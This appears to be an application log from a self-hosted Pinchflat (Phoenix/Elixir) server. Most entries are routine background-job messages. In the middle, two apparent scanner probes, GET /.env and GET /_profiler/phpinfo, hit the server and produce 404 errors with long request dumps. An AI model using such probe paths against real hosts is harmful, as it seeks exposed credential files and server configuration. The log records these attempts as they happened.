{"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:45:15.612 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:45.613 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.985 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:46:15.614 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:45.616 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.986 [info] {"source":"oban","duration":337,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:47:15.617 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:45.618 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.987 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:48:15.619 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:45.620 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.988 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:49:15.622 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:45.623 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.989 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:50:15.624 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:45.625 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.990 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:51:15.626 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:45.627 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.991 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:52:15.628 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:45.629 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.992 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:53:15.630 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:45.631 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.993 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:54:15.632 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:45.633 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.994 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:55:15.634 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:45.635 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.995 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:56:15.636 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:45.637 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.996 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:57:15.638 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:45.639 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.997 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:58:15.640 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:45.641 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.998 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:59:15.642 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:45.643 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.999 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:00:15.644 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:45.645 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:01.000 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:01:15.646 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:45.647 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.001 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:02:15.648 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:45.649 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.002 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:03:15.650 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:45.651 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.003 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:04:15.652 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:45.653 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.004 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:05:15.654 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:45.656 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.005 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:06:15.657 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:45.658 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.006 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:07:15.659 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:45.660 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.007 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:08:15.661 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:45.662 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.008 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:09:15.663 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:45.664 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.009 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:10:15.666 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:45.667 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.010 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:11:15.668 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:45.669 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.011 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:12:15.670 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:45.671 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.012 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:13:15.672 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:45.673 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.013 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:14:15.674 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:45.674 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.014 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:15:15.676 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:45.677 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.015 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:16:15.678 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:45.679 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.016 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:17:15.680 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:45.681 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.017 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:18:15.682 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:45.683 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.018 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:19:15.684 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:45.685 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.019 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:20:15.686 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:24.847 [info] GET /.env 08:20:24.848 [debug] QUERY OK source="settings" db=0.1ms idle=1799.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:24.848 [debug] QUERY OK source="settings" db=0.0ms idle=1.8e3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:24.848 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:20:24.849 [error] #PID<0.8902.0> running PinchflatWeb.Endpoint (connection #PID<0.8901.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 48570}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.8902.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Go-http-client/2.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFPNscbMcmLtYMAAgAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 48570}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 48570}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.8902.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Go-http-client/2.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFPNscbMcmLtYMAAgAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 54 (truncated) 08:20:24.895 [info] GET /_profiler/phpinfo 08:20:24.896 [debug] QUERY OK source="settings" db=0.1ms idle=1847.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:24.896 [debug] QUERY OK source="settings" db=0.0ms idle=1847.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:24.896 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:20:24.896 [error] #PID<0.8903.0> running PinchflatWeb.Endpoint (connection #PID<0.8901.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /_profiler/phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 48570}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.8903.0>, params: %{}, path_info: ["_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Go-http-client/2.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFPNsnx5rwZvswAAgCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 48570}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.8901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 48570}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.8903.0>, params: %{}, path_info: ["_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Go-http-client/2.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFPNsnx5rwZvswAAgCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Ro (truncated) 08:20:45.687 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.020 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:21:15.688 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:45.689 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.021 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:22:15.690 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:45.691 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.022 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:23:15.692 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:45.693 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.023 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:24:15.694 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:45.695 [info] 